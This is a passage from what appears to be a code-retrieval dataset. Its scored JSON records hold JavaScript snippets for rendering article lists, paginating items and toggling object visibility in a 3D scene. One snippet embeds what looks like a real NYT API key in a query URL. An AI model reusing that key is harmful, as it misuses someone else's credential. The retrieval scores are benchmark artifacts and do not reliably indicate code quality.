class=\"articles\">'+\n\t\t\t\tdata.response.docs.map(function(article){\n\t\t\t\t\treturn `\n\t\t\t\t\t<li class=\"article\">\n\t\t\t\t\t\t<h2><a href=\"${article.web_url}\">${article.headline.main}</a></h2>\n\t\t\t\t\t\t<p>${article.snippet}</p>\n\t\t\t\t\t</li>\n\t\t\t\t\t`\n\t\t\t\t}).join('') + '</ul>'\n\n\t\t\t\t\n\t\t\t}else{\n\t\t\t\thtmlContent = '<div class=\"error-no-article\">No articles availables</div>'\n\t\t\t}\n\t\t\tresultContainer.insertAdjacentHTML('afterbegin', htmlContent);\n\t\t}", "title": "" }, { "docid": "34b92f54ef5df9759dfe24e605b7971d", "score": "0.5360296", "text": "function showTenMoreArticles() {\n const total = articleList.length;\n const next = (10 * pageNumber);\n const last = (10 * (pageNumber + 1));\n if (total >= last) {\n shownArticles = shownArticles.concat(articleList.slice(next, last));\n pageNumber++;\n } else if (total === 0) {\n loadJSON('../src/dbfaker/articles.json');\n } else if (total > 0 && total < 60) {\n loadJSON('../src/dbfaker/more-articles.json');\n }\n if (shownArticles.length >= 60) {\n moreResults = false;\n }\n}", "title": "" }, { "docid": "858adce8420a147e350162958839ddde", "score": "0.53481585", "text": "function loadMorePostsSubController(e) {\n let currentLoaderElement = e.target.closest(`.${DOMstrings.posts.loadMore}`);\n \n mainView.hideLoaderElement(currentLoaderElement);\n\n appState.session.postsPage++;\n renderPosts(appState.session.postsPage);\n}", "title": "" }, { "docid": "50064f78f8d48eb664289e5ee6b3629e", "score": "0.5345321", "text": "function goToArticles(update) {\n var json = getAllArticlesBrief();\n\n document.getElementsByTagName('h2')[0].innerHTML = 'Bitte waehlen Sie Ihre Bestellung';\n\n var container = document.getElementsByTagName('article')[0];\n\n while (container.firstChild) {\n container.removeChild(container.firstChild);\n }\n\n for (var i = 0; i < json.articles.length; i++) {\n var img = document.createElement('IMG');\n img.setAttribute('src', json.articles[i].thumb_img_url);\n img.setAttribute('onclick', 'changeToScreen(2, false,' + json.articles[i].id + ')');\n\n var section = document.createElement('SECTION');\n section.setAttribute('id', json.articles[i].id);\n section.setAttribute('class', 'tooltip');\n\n var tooltip = document.createElement('SPAN');\n tooltip.setAttribute('class', 'tooltiptext');\n tooltip.innerHTML = json.articles[i].name;\n section.appendChild(tooltip);\n\n section.appendChild(img);\n container.appendChild(section);\n }\n\n if (update) {\n return;\n }\n\n setNewUrl('/articles', 'articles');\n}", "title": "" }, { "docid": "79ea9718898e02192b0d69442332210c", "score": "0.5344637", "text": "function displayLinks() {\n $('[data-type=gallery] .image').each(function(index, item) {\n const link = $('a', item.parentNode);\n if (!link.get(0)) return;\n\n item = $(item);\n item.addClass('clickable');\n item.data('href', link.attr('href'));\n item.on('click', goto_article);\n });\n\n function goto_article(event) {\n let el = event.currentTarget;\n window.location = $(el).data('href');\n }\n}", "title": "" }, { "docid": "2e4c68be08623d87a3e4266b1c8a2330", "score": "0.53317314", "text": "function displayArticle() {\n\n var article = $(this).attr(\"article-name\");\n var queryURL = 'https://api.nytimes.com/svc/search/v2/articlesearch.json?q=' + articleRequest + '=election&api-key=LYzWgxYCysNiAmcwGN5cXJnHCfBcsUYR'\n }", "title": "" }, { "docid": "e673782cb9114f746f991965bf9d7eeb", "score": "0.5331408", "text": "async function getArticles() // Gets all the articles and then finish filling the main page with articles (unless the main page was changed)\r\n{\r\n loadingArticles = true;\r\n mainContent.loading(true);\r\n\r\n await articles.getAllArticles(25);\r\n\r\n loadingArticles = false;\r\n mainContent.loading(false);\r\n\r\n if (navBar.$title.text() != \"All Articles\")\r\n return;\r\n\r\n clearInterval(listInterval);\r\n appendArticles(articles.all, listCount);\r\n}", "title": "" }, { "docid": "dec77dc26f28ec063a5f9800254eb96b", "score": "0.53151923", "text": "function CB_PageView(params) {\r\n\tthis.TYPE = \"PAGE_VIEW\";\r\n\tthis.setting(params);\r\n\t\r\n}", "title": "" }, { "docid": "895adba24b5c4055befe578e8d19a666", "score": "0.5313531", "text": "function addArticlePosts() {\r\n const JSON_SRC = 'MasterPage/json/article_list.json';\r\n const GROUP_SIZE = 6;\r\n let xmlhttp = new XMLHttpRequest();\r\n let current = currentPage();\r\n xmlhttp.onreadystatechange = function() {\r\n if (this.readyState == 4 && this.status == 200) {\r\n let articleList = JSON.parse(this.responseText);\r\n articleList.reverse();\r\n let len = articleList.length;\r\n let next = current + 1;\r\n let htmlContents = '';\r\n for (let i = 0; i < len; i++) {\r\n if (i == GROUP_SIZE * next) {\r\n break;\r\n }\r\n\telse {\r\n if (parseInt(i/GROUP_SIZE) == current) {\r\n let title = articleList[i].articles;\r\n let url = articleList[i].url;\r\n let date = articleList[i].date;\r\n let typeGroup = articleList[i].type_group;\r\n let abstracts = articleList[i].abstracts;\r\n let img = articleList[i].img;\r\n htmlContents += addBlogPost(title, url, date, typeGroup\r\n\t\t\t , abstracts, img);\r\n } \r\n\t}\r\n }\r\n htmlContents += addPage('index.html?page=',current-1,next,len,GROUP_SIZE);\r\n\t\t\t\r\n if (document.getElementById) {\r\n let articlePost = document.getElementById ('article_post');\r\n if (articlePost) {\r\n placeInOuterHtml (articlePost, htmlContents);\r\n\t}\r\n }\r\n }\r\n };\r\n xmlhttp.open(\"GET\", JSON_SRC, true);\r\n xmlhttp.send();\r\n}", "title": "" }, { "docid": "d51b19f289b357ac70a9b4a70fa703ea", "score": "0.5310912", "text": "function IdentityProvidersListPage() {\n }", "title": "" }, { "docid": "e520a22d0f76b424be6da24773b05413", "score": "0.53036493", "text": "function showPage(list, page) {\r\n let startIndex = page * itemsPerPage - itemsPerPage;\r\n let endIndex = page * itemsPerPage;\r\n clearHtml(studentList);\r\n for (let i =0; i < list.length; i++) {\r\n if (i >= startIndex && i < endIndex) {\r\n let itemContents = \r\n `<li class=\"student-item cf\">\r\n <div class=\"student-details\">\r\n <img class=\"avatar\" src=\"${list[i].picture.large}\" alt=\"Profile Picture\">\r\n <h3>${list[i].name.first} ${list[i].name.last}</h3>\r\n <span class=\"email\">${list[i].email}</span>\r\n </div>\r\n <div class=\"joined-details\">\r\n <span class=\"date\">J${list[i].registered.date}</span>\r\n </div>\r\n </li>`;\r\n studentList.insertAdjacentHTML('beforeend', itemContents);\r\n }\r\n }\r\n}", "title": "" }, { "docid": "0469c330e5cf12163a226262a665d02f", "score": "0.52940214", "text": "function showPage(list, page) {\n // loop over list and show items between page start and page end indexes, hide the rest\n for (let i = 0, j = list.length; i < j; i++) {\n if (i >= (page * per_page) - per_page && i < page * per_page) {\n list[i].style.display = '';\n } else {\n list[i].style.display = 'none';\n }\n }\n}", "title": "" }, { "docid": "fa6c54e397f7c8118073aaf6985da067", "score": "0.52925456", "text": "function loadArticle() {\n // obtenemos los detalles del articulo\n var articleId = findGetParameter('id');\n var articleUrl = './data/data-' + articleId + '.json';\n retrieveData(articleUrl);\n}", "title": "" }, { "docid": "5fd03fa3268ef8765594a31da06062f1", "score": "0.52907664", "text": "function getNews(news) {\r\n let output = \"\";\r\n if (news.totalResults > 0) {\r\n news.articles.forEach((ind) => {\r\n output += `<section class=\"container\">\r\n <li class=\"article\"><a class=\"article-link\" href=\"${\r\n ind.url\r\n }\" target=\"_blank\">\r\n <div class=\"img-area\">\r\n <img src=\"${ind.urlToImage}\" class=\"article-img\" alt=\"${\r\n ind.title\r\n }\"></img>\r\n </div>\r\n <p style=\"color:#FEE715FF;\" class=\"article-description\">${\r\n ind.description || \"Description not available\"\r\n }</p> <br>\r\n <h2 class=\"article-title\">${ind.title}</h2>\r\n <span class=\"article-author\">-${\r\n ind.author ? ind.author : \"Anon\"\r\n }</span><br>\r\n </a>\r\n </li>\r\n </section>`;\r\n });\r\n article_area.innerHTML = output;\r\n } else {\r\n article_area.innerHTML =\r\n '<li> <h3 class=\"not-found\">No article was found based on the search.</h3</li>';\r\n }\r\n}", "title": "" }, { "docid": "ab285ab660c9e31939975e96cd71b225", "score": "0.5289725", "text": "function module(selection) {\n selection.each(function(d) {\n\n\t\t\t$(\"li.event-viewer .detail-pane\").remove();\n\n\t\t\tvar pane = $(\"<div class='detail-pane'></div>\");\n\n\t\t\tpane.css('margin-left',aside.width()+'px');\n\n\t\t\t\tpane.appendTo($(\"li.event-viewer\"))\n\t\t\t\t.append($(\"<div class='detail-pane-title'>Event</div>\"));\n\t\t\tvar container = $(\"<article></article>\").appendTo(pane);\n\n\t\t\t// If item is a single article then put it into an array of length 1\n\t\t\tvar articles;\n\n\t\t\tif (d.length === undefined) {\n\t\t\t\tarticles = [d];\n\t\t\t}\n\t\t\telse {\n\t\t\t\tarticles = d;\n\t\t\t}\n\n\t\t\tarticles.forEach(function(article, i) {\n\n\t\t\t\t// console.log(article)\n\n\t\t\t\t// Image\n\t\t\t\tif (article.sourceImageUrl !== undefined) {\n\t\t\t\t\t// container.append(\"<img class='sm-articleViewer-sourceimage' src='data/img/\" + article.sourceImageUrl + \"' />\");\n\t\t\t\t\tcontainer.append(\"<img class='sm-articleViewer-sourceimage' src='\" + article.sourceImageUrl + \"' />\");\n\t\t\t\t}\n\t\t\t\t// Title\n\t\t\t\t$(\"<div class='sm-articleViewer-title'></div>\").appendTo(container).html(article.originalTitle);\n\n\t\t\t\t// Content\n\t\t\t\t$(\"<div class='sm-articleViewer-content'></div>\").appendTo(container).html(article.content);\n\n\t\t\t\t// Time\n\t\t\t\tvar timeText = d3.time.format(\"%d-%m-%Y\")(article.time);\n\t\t\t\tif (article.endTime) {\n\t\t\t\t\ttimeText += \" -- \" + d3.time.format(\"%d-%m-%Y\")(article.endTime);\n\t\t\t\t}\n\t\t\t\t$(\"<div class='sm-articleViewer-time'></div>\").appendTo(container).html(timeText);\n\n\t\t\t\t//SHARE COUNT\n\t\t\t\tif(article.shareCount){\n $(\"<div class='sm-articleViewer-time'></div>\").appendTo(container).html(\"Shares: \" + article.shareCount);\n }\n\n //AVERAGE SOURCE RATING\n if(article.sourceAvgRating){\n $(\"<div class='sm-articleViewer-time'></div>\").appendTo(container).html('Source: ' + article.source + \", Average Rating: \" + sm.reverseRating(article.sourceAvgRating));\n }\n\n\t\t\t\t// Article separator, if not the last article\n\t\t\t\tif (i !== articles.length - 1) {\n\t\t\t\t\tcontainer.append(\"<div class='sm-articleViewer-separator'></div>\");\n\t\t\t\t}\n\t\t\t});\n });\n\t}", "title": "" }, { "docid": "fb900b2eabfe5d12dbeb8a5def0730c6", "score": "0.52894825", "text": "function getAllProducts() {\n fetch(\n \"http://mazurmazurmazur.pl/simbiocms/?rest_route=/wp/v2/article/\" +\n dynamicContent\n ) //only one entry in json file (WP REST)\n .then(res => res.json())\n .then(showProducts);\n}", "title": "" }, { "docid": "2f8ff657b1f1cbc6892bb66616f38feb", "score": "0.52856725", "text": "async function navAllStories(evt) {\n console.debug(\"navAllStories\", evt);\n storyList = await StoryList.getStories();\n hidePageComponents();\n putStoriesOnPage(storyList);\n \n\n}", "title": "" }, { "docid": "33885e15a3b91ae7d43c59e88d9a4e95", "score": "0.52793217", "text": "function populateList (pageNr = 1) {\n\t// Sorting & filtering\n\tlet showMoviesArr = sortFilterMovies();\n\t// Pagination\n\tshowMoviesArr = paginate(showMoviesArr, pageNr);\n\n\tlet moviesList = showMoviesArr.map((movie) => {\n\t\tlet listItem =`\n\t\t<li>\n\t\t\t<div class=\"listitem-text\" data-tmdbid=\"${movie.tmdbid}\">\n\t\t\t\t<p><span class=\"movie-title\">${movie.title}</span> (${movie.year})<span class=\"movie-status\">${statusNames[movie.status]}</span></p>\n\t\t\t\t<p>${movie.titleEng}</p>\n\t\t\t</div>\n\t\t\t<div class=\"listitem-buttons\">\n\t\t\t\t<a class=\"edit-me\" href=\"/edit?id=${movie._id}\"><img class=\"btn-edit-me\" src=\"edit-icon.gif\" alt=\"edit button\"></a>\n\t\t\t\t<a data-id=\"${movie._id}\" class=\"delete-me\"><img class=\"btn-delete-me\" src=\"delete-icon.gif\" alt=\"delete button\"></a>\n\t\t\t</div>\n\t\t</li>`;\n\t\treturn listItem;\n\t}).join('');\n\n\tdocument.querySelector('.list-movies').innerHTML = moviesList;\n\n\t// Listitem click handlers must be set each time after showing the list\n\tinitAfterFetch();\n}", "title": "" }, { "docid": "956576e91e96253d66a1af052e5519b2", "score": "0.52733296", "text": "function pageView(id){\n\tvar id = id;\n\tvar rowid = $(\"#\"+id).closest(\"tr\"); \n\tvar pageid = rowid.find(\"td:eq(0)\").text(); \n\tvar title = rowid.find(\"td:eq(1)\").text();\n\tvar descrption = rowid.find(\"td:eq(2)\").text();\n\tvar url = rowid.find(\"td:eq(3)\").text();\n\tvar status = rowid.find(\"td:eq(4)\").text();\n\tvar data= 'ID:'+id+\"<br>\"+'TITLE:'+title+\"<br>\"+'DESCRIPTION:'+descrption+\"<br>\"+'URL:'+url+\"<br>\"+'STATUS:'+status;\n\t$(\"#cmspage_result\").html(data);\n}", "title": "" }, { "docid": "cde17c03eee2934f17c77888c154496b", "score": "0.52625525", "text": "async function list(ctx, next) {\n ctx.body = await render('list', { posts: posts})\n}", "title": "" }, { "docid": "52d395b4e713bfff2a2f45f6253e964c", "score": "0.52592784", "text": "renderSoloArticle() {\n if (this.props.initArticle) {\n const miniArticleData = MiniArticleMetadata[this.props.initArticle];\n if (miniArticleData && miniArticleData.data && miniArticleData.title) {\n return (\n <MiniArticleModalView title={miniArticleData.title} isOpen={true} onClose={() => browserHistory.push('/')}>\n <div className=\"mini-article-container\">\n {parseHtmlTree(miniArticleData.data)}\n </div>\n </MiniArticleModalView>\n );\n } else {\n return (\n <MiniArticleModalView title=\"Sorry, article not found.\" isOpen={true} onClose={() => browserHistory.push('/')}>\n <p>Sorry about the bad link!</p>\n <Link to=\"/\" className=\"nav-button\">Go back to homepage</Link>\n </MiniArticleModalView>\n );\n }\n }\n }", "title": "" }, { "docid": "cb31206491ec67b9679a1fbd5edca5f4", "score": "0.5258829", "text": "function navAllStories(evt) {\n console.debug(\"navAllStories\", evt);\n hidePageComponents();\n putStoriesOnPage();\n}", "title": "" }, { "docid": "cb31206491ec67b9679a1fbd5edca5f4", "score": "0.5258829", "text": "function navAllStories(evt) {\n console.debug(\"navAllStories\", evt);\n hidePageComponents();\n putStoriesOnPage();\n}", "title": "" } ]
dd9c15f0bd114dbf6dbf7e99a141a92c
Should the object be hidden, saved with the scene or modifiable by the user?
[ { "docid": "a44a6b69fc8c35d99f567c5358dba89a", "score": "0.0", "text": "get hideFlags() {}", "title": "" } ]
[ { "docid": "d3b367815ff5bd110acacd096bcfa607", "score": "0.6596673", "text": "hide() {\n if (!this.objects) return;\n\n for (let o of this.objects)\n {\n o = (o.object3D) ? o.object3D : o\n o.visible = false\n }\n }", "title": "" }, { "docid": "316885dad0cf0a7e4e41b80a18b967ce", "score": "0.6569727", "text": "function show(obj) {\n\tvar theObj = getObject(obj)\n\ttheObj.visibility = \"visible\"\n}", "title": "" }, { "docid": "78e341e2ef5b4e9c47ed26b5b82f6172", "score": "0.6539638", "text": "function visibleToggle(e, objectData) {\n\t\t\tscene.toggleVisibility(objectData);\n\t\t}", "title": "" }, { "docid": "12aac0d8aab08d3a794c6c715f5d71af", "score": "0.65327585", "text": "function show(obj) {\n var theObj = getObject(obj);\n if (theObj) {\n theObj.visibility = \"visible\";\n }\n}", "title": "" }, { "docid": "12aac0d8aab08d3a794c6c715f5d71af", "score": "0.65327585", "text": "function show(obj) {\n var theObj = getObject(obj);\n if (theObj) {\n theObj.visibility = \"visible\";\n }\n}", "title": "" }, { "docid": "002da4825691278222733716926c4003", "score": "0.64871955", "text": "function hide(obj) {\n\tvar theObj = getObject(obj)\n\ttheObj.visibility = \"hidden\"\n}", "title": "" }, { "docid": "9f1de2dcf4752afac57641d2512414d5", "score": "0.64482975", "text": "unhide() {\n if (!this.objects) return;\n\n for (let o of this.objects)\n {\n o = (o.object3D) ? o.object3D : o\n o.visible = true\n }\n }", "title": "" }, { "docid": "4a22e51eb399dc51d794aec55392116d", "score": "0.6384993", "text": "function hide(obj) {\n var theObj = getObject(obj);\n if (theObj) {\n theObj.visibility = \"hidden\";\n }\n}", "title": "" }, { "docid": "4a22e51eb399dc51d794aec55392116d", "score": "0.6384993", "text": "function hide(obj) {\n var theObj = getObject(obj);\n if (theObj) {\n theObj.visibility = \"hidden\";\n }\n}", "title": "" }, { "docid": "18b281f99383294a496826174c481616", "score": "0.6270911", "text": "function setVisible(Sprite) {\n Sprite.visible = true;\n}", "title": "" }, { "docid": "30cf7bf2daceb231fa34e1f928931329", "score": "0.6211107", "text": "function setInvisible(Sprite) {\n Sprite.visible = false;\n}", "title": "" }, { "docid": "c495a582bc56be0c17addf25da66d795", "score": "0.609186", "text": "hide(){\n this._plane.visible = false;\n }", "title": "" }, { "docid": "ba8f4b25a3440ea433af912fabd364e6", "score": "0.6062634", "text": "unlock () {\n\t\t// TODO: change the story state to \"visible\"\n\t\tthis.state = \"visible\";\n\t}", "title": "" }, { "docid": "f6b0632ea37fefb352910ec00019776b", "score": "0.6019667", "text": "show() {\n this.set('hidden', false);\n }", "title": "" }, { "docid": "6d4bdc31ede4840969aa8fcd2146789e", "score": "0.5970839", "text": "function anotherStory() {\n accessStory.hidden = true;\n storeStory.hidden = false;\n}", "title": "" }, { "docid": "c5684582629a36d7601c34518790ac82", "score": "0.5969246", "text": "function hideOrShowObject(formId, objId, state) {\n\tvar elem = getObj(objId, formId);\n\tif (elem != null) {\n\t\tif (state) {\n\t\t\telem.style.visibility = 'visible';\n\t\t} else {\n\t\t\telem.style.visibility = 'hidden';\n\t\t}\n\t}\n}", "title": "" }, { "docid": "d99e8de49d26da242a9bcd794cbe8f5c", "score": "0.5913799", "text": "setVisible(visible) { this.visible = visible; }", "title": "" }, { "docid": "d83761e8c2341f0aa9ab50943586bcd3", "score": "0.5905358", "text": "function show_object(){\n\t\t$('#game-object-all-gear-fade').addClass(\"object-disable\");\n\t\t$('#game-object-all-fan-fade').addClass(\"object-disable\");\n\t\t$('#game-object-all-solar-fade').addClass(\"object-disable\");\n\t\t$('#game-object-all-piston-fade').addClass(\"object-disable\");\n\t\t$('#game-object-all-thermal-fade').addClass(\"object-disable\");\n\t\t$('#game-object-all-gear').removeClass(\"object-disable\");\n\t\t$('#game-object-all-fan').removeClass(\"object-disable\");\n\t\t$('#game-object-all-solar').removeClass(\"object-disable\");\n\t\t$('#game-object-all-piston').removeClass(\"object-disable\");\n\t\t$('#game-object-all-thermal').removeClass(\"object-disable\");\n\t}", "title": "" }, { "docid": "cbf8180b1822d1bbf53045f0e1d6efe5", "score": "0.5896754", "text": "setVisible(state) {\r\n\t \tif (state == undefined) {\r\n\t \t\tstate = true;\r\n\t \t}\r\n\r\n\t \tthis.sprite.visible = state;\r\n\t }", "title": "" }, { "docid": "9eeec7ec3f0cae5b05cf621ca7dfc652", "score": "0.58536094", "text": "onBecameVisible() {}", "title": "" }, { "docid": "25d35269eb2d8f5d4279ed0574d08402", "score": "0.583727", "text": "function opentime() {\n\tif (theObj) theObj.style.visibility = 'visible';\n}", "title": "" }, { "docid": "1c697972fac456269eefdab07e08f460", "score": "0.583432", "text": "function hideObject(obj) {\n\n document.getElementById(obj).style.position=\"absolute\";\n document.getElementById(obj).style.visibility=\"hidden\";\n document.getElementById(obj).style.zIndex=\"-10\";\n\t\t\t\tdocument.getElementById(obj).style.display=\"none\";\n\n}", "title": "" }, { "docid": "e6258836c2a54a28fd98806762afdf0b", "score": "0.58267665", "text": "toggle(){\n this._sphere.visible = !this._sphere.visible;\n }", "title": "" }, { "docid": "52a93282a6f5e3f0e6e7850c05d40c2c", "score": "0.58262676", "text": "show(){\n this._plane.visible = true;\n }", "title": "" }, { "docid": "67235ce2d20edf4a39db330fc75f1aa8", "score": "0.57841074", "text": "toggle(){\n this._boundingBox3D.visible = !this._boundingBox3D.visible;\n }", "title": "" }, { "docid": "ff8b939bbca682e922e72036db06dffc", "score": "0.57820207", "text": "hide(){\n this._boundingBox3D.visible = false;\n }", "title": "" }, { "docid": "94cfe98485c9b8c30b946d75ce1ee5e6", "score": "0.57814497", "text": "function SetEntityVisible(nodeObject, targetName) {\n //Traverse through the object\n nodeObject.traverse(function (object) {\n //If this is a rim object\n if (object.name.includes('Obj_Rim')) {\n //Show if name matches target, else hide it\n if (object.name.includes(targetName))\n object.visible = true;\n else\n object.visible = false;\n }\n\n });\n}", "title": "" }, { "docid": "a98f49ec115568bc6150b50a767af9d3", "score": "0.5731167", "text": "function showObject(obj) \r\r\n{\r\r\n if (ns4) obj.visibility = \"show\"\r\r\n else if (ie4 || ns6) obj.visibility = \"visible\"\r\r\n}", "title": "" }, { "docid": "10b2efd32452764e3cde5d005b55b1b5", "score": "0.57019114", "text": "hide() {\r\n this.info = false;\r\n }", "title": "" }, { "docid": "1518bf424088c7434b83beb7405fa6c7", "score": "0.5689261", "text": "function showAndAdd() {\n showYourObject();\n saveGameOnServer(yourNewGame);\n}", "title": "" }, { "docid": "b1c6d0b9c716de962980c09749126e14", "score": "0.5687977", "text": "hide() {\n this.visible = false;\n }", "title": "" }, { "docid": "b1c6d0b9c716de962980c09749126e14", "score": "0.5687977", "text": "hide() {\n this.visible = false;\n }", "title": "" }, { "docid": "fa40caf487d273534d3f3a0164200e78", "score": "0.5686108", "text": "static set hidden(value) {}", "title": "" }, { "docid": "b697c3b28c905823ff2f8d447b1cc701", "score": "0.56797904", "text": "get invisible() { return this._invisible; }", "title": "" }, { "docid": "c2ae80eef7610f967fea105940541878", "score": "0.5626472", "text": "setVisibleInternal() {}", "title": "" }, { "docid": "acc03afb599aae15d257114b0ad81e73", "score": "0.56215465", "text": "makeVisible() {\n\t\tthis.visible = true;\n\t\tthis.show();\n\t}", "title": "" }, { "docid": "302dddceb29fb9e4b7e7c26b69b7c95c", "score": "0.5614662", "text": "show() {\n this.visible = true;\n }", "title": "" }, { "docid": "302dddceb29fb9e4b7e7c26b69b7c95c", "score": "0.5614662", "text": "show() {\n this.visible = true;\n }", "title": "" }, { "docid": "93e6a7c2c9dcc7c61a67dbab4e9db80a", "score": "0.5609153", "text": "get hidden() { return this._hidden; }", "title": "" }, { "docid": "93e6a7c2c9dcc7c61a67dbab4e9db80a", "score": "0.5609153", "text": "get hidden() { return this._hidden; }", "title": "" }, { "docid": "af437be84c882bfdba6986900a015cd6", "score": "0.56080943", "text": "function hideOperatorObject()\n{\n\tif(rotateOperatorStatus) {\n\t\t//gBoardLayer.remove(rotateObject);\n\t\trotateObject.hide();\n\t}\n\tif(flipOperatorStatus) {\n\t\t//gBoardLayer.remove(flipObject);\n\t\tflipObject.hide();\n\t}\n\trotateOperatorStatus = 0;\n\tflipOperatorStatus = 0;\n}", "title": "" }, { "docid": "8a48bb6fd2a932abf19f254e3baad81e", "score": "0.560161", "text": "get visible() {\n return true;\n }", "title": "" }, { "docid": "705ee941008804f6501998fb3275af9e", "score": "0.5585275", "text": "function setVisibleImg() {\n cooling_stage.getChildByName(\"zoomImg\").visible = false;\n}", "title": "" }, { "docid": "fe01d500c932083697ffd525189eee65", "score": "0.5568257", "text": "setHidden(hidden) {\n this.hidden = hidden;\n }", "title": "" }, { "docid": "756ad5c3bbfea656cbb0f78e8fc326e6", "score": "0.5567251", "text": "function visibilityUpdate() {\n\n}", "title": "" }, { "docid": "8abd36e416342689dd06bb462a36d0ac", "score": "0.55665696", "text": "function hu_is_visible(obj)\n{\n\treturn obj.style.visibility == 'visible';\n}", "title": "" }, { "docid": "c328302cd3f0322e3365c06e09c0eccc", "score": "0.55612576", "text": "function hideStuff() {\n\t//console.log(\"hideStuff start\");\n\thideSave();\n\thideSelf();\n\t//console.log(\"hideStuff end\");\n}", "title": "" }, { "docid": "3e22622437d91ccf4521333a007a7907", "score": "0.5557957", "text": "serialize() {\n\t\treturn {'shouldBeShown': (this.view && this.view.shouldBeShown)};\n\t}", "title": "" }, { "docid": "ee17d0e0a40639af74c9b99db781db0b", "score": "0.5552349", "text": "function showHide( object )\r\n{\r\n if (object.style.display == \"none\")\r\n {\r\n object.style.display = \"block\";\r\n return true;\r\n }\r\n else\r\n {\r\n object.style.display = \"none\";\r\n return false;\r\n }\r\n}", "title": "" }, { "docid": "880d88378b454cc5c978a325dea4487a", "score": "0.5549644", "text": "applyVisibility() { }", "title": "" }, { "docid": "64521a0ebc6d7149b8fef8b5f8fafd53", "score": "0.5535899", "text": "function hide() {\r\n\r\n if (data.visible) {\r\n data.visible = false;\r\n o.style.visibility = 'hidden';\r\n }\r\n\r\n }", "title": "" }, { "docid": "046e0c52a920184eb344a72009d835f1", "score": "0.5528694", "text": "function instructions()\r\n{\r\n startScene.visible = false;\r\n gameOverScene.visible = false;\r\n gameScene.visible = false;\r\n instructionScene.visible = true;\r\n missionCompleteScene.visible = false;\r\n}", "title": "" }, { "docid": "eba55ff48247a1d0ed2a4d4d307bbe2d", "score": "0.5517396", "text": "hide() {\n\t\tcontrol.world[this.x][this.y] = empty;\n\t\tempty.draw(this.x, this.y);\n\t\tlet { x, y } = hero;\n\t\tif (this.x === x && this.y === y) hero.show();\n\t}", "title": "" }, { "docid": "f2e029b1140cd2be883ef544a56c6d8e", "score": "0.55006224", "text": "function shouldSaveActive() {\n // console.log(canvas.getActiveObject());\n return canvas.getActiveObject() && canvas.getActiveObject().type != 'snap'\n}", "title": "" }, { "docid": "35d30c10f4383fde750d515e7c329dc8", "score": "0.54952335", "text": "toggleVisibility() {\n this.visible = !this.visible;\n }", "title": "" }, { "docid": "4765a6623136a148b9cf9e00f3aefc42", "score": "0.5493779", "text": "show () {\n this.hidden = false\n }", "title": "" }, { "docid": "3697a672f0867aaad18348c9403a69c2", "score": "0.5476232", "text": "function OnBecameVisible() {\n enabled = true;\n}", "title": "" }, { "docid": "454cd03aa11faad9714822cff60d9e5a", "score": "0.54722375", "text": "hide() {\n\t\tcontrol.world[this.x][this.y] = empty;\n\t\tempty.draw(this.x, this.y);\n\t}", "title": "" }, { "docid": "9b377701c473c071076374ca3bc9609d", "score": "0.5462985", "text": "show(){\n this._boundingBox3D.visible = true;\n }", "title": "" }, { "docid": "89bca1be981555ab99c62af227d565ef", "score": "0.546252", "text": "function controlObjectLoaded(){\n if(cargarAmongUs==true){\n //tries to get the objects of the scene\n const selectedObject = this.scene.getObjectByName('among');\n const selectedObject2 = this.scene.getObjectByName('luigi');\n const selectedObject3 = this.scene.getObjectByName('ninja');\n const selectedObject4 = this.scene.getObjectByName('pump');\n const selectedObject5 = this.scene.getObjectByName('mario');\n \n //once it gots the objects of the scene, it removes them\n this.scene.remove(selectedObject);\n this.scene.remove(selectedObject2);\n this.scene.remove(selectedObject3);\n this.scene.remove(selectedObject4);\n this.scene.remove(selectedObject5);\n //now, that the scene is empty, loads the object selected\n loadOBJ(\"among_us/among us.obj\",\"among\");\n //Position the camera,so the object can be seen clearly\n camera.position.z=400;\n //give the object a name to make more easy some functions\n nombre=\"among\";\n //Set it to false, so, it only charges one element at a time\n cargarAmongUs=false;\n }\n if(cargarLuigi==true){\n const selectedObject = this.scene.getObjectByName('among');\n const selectedObject2 = this.scene.getObjectByName('luigi');\n const selectedObject3 = this.scene.getObjectByName('ninja');\n const selectedObject4 = this.scene.getObjectByName('pump');\n const selectedObject5 = this.scene.getObjectByName('mario');\n\n \n this.scene.remove(selectedObject);\n this.scene.remove(selectedObject2);\n this.scene.remove(selectedObject3);\n this.scene.remove(selectedObject4);\n this.scene.remove(selectedObject5);\n\n \n loadOBJ(\"Mario_obj/Luigi_obj.obj\",\"luigi\");\n camera.position.z=250;\n nombre=\"luigi\";\n cargarLuigi=false;\n }\n if(cargarPump==true){\n const selectedObject = this.scene.getObjectByName('among');\n const selectedObject2 = this.scene.getObjectByName('luigi');\n const selectedObject3 = this.scene.getObjectByName('ninja');\n const selectedObject4 = this.scene.getObjectByName('pump');\n const selectedObject5 = this.scene.getObjectByName('mario');\n\n \n this.scene.remove(selectedObject);\n this.scene.remove(selectedObject2);\n this.scene.remove(selectedObject3);\n this.scene.remove(selectedObject4);\n this.scene.remove(selectedObject5);\n\n \n loadOBJ(\"pumpkin/Pumpkin.obj\",\"pump\");\n camera.position.z=600;\n camera.position.y=100;\n nombre=\"pump\";\n cargarPump=false;\n }\n if(cargarNinja==true){\n const selectedObject = this.scene.getObjectByName('among');\n const selectedObject2 = this.scene.getObjectByName('luigi');\n const selectedObject3 = this.scene.getObjectByName('ninja');\n const selectedObject4 = this.scene.getObjectByName('pump');\n const selectedObject5 = this.scene.getObjectByName('mario');\n\n \n this.scene.remove(selectedObject);\n this.scene.remove(selectedObject2);\n this.scene.remove(selectedObject3);\n this.scene.remove(selectedObject4);\n this.scene.remove(selectedObject5);\n\n\n loadOBJ(\"ninja/Mini_Ninja.obj\",\"ninja\");\n camera.position.z=60;\n camera.position.y=40;\n nombre=\"ninja\";\n cargarNinja=false;\n }\n if(cargarMario==true){\n const selectedObject = this.scene.getObjectByName('among');\n const selectedObject2 = this.scene.getObjectByName('luigi');\n const selectedObject3 = this.scene.getObjectByName('ninja');\n const selectedObject4 = this.scene.getObjectByName('pump');\n const selectedObject5 = this.scene.getObjectByName('mario');\n\n this.scene.remove(selectedObject);\n this.scene.remove(selectedObject2);\n this.scene.remove(selectedObject3);\n this.scene.remove(selectedObject4);\n this.scene.remove(selectedObject5);\n\n\n loadOBJ(\"Mario_obj/mario_obj.obj\",\"mario\");\n camera.position.z=300;\n camera.position.y=100;\n nombre=\"mario\";\n cargarMario=false;\n }\n}", "title": "" }, { "docid": "ffeaca6f06e3374267d51b5b314f9b44", "score": "0.54623723", "text": "function toggleObjectView(){\n\tvar buttonClicked = document.getElementById(\"objectview-wrapper-js\");\n\tconsole.log(\"entered toggleObjectView()\");\n\tpopulateObjectView();\n\tif (buttonClicked.style.display === \"none\"){\n\t buttonClicked.style.display = 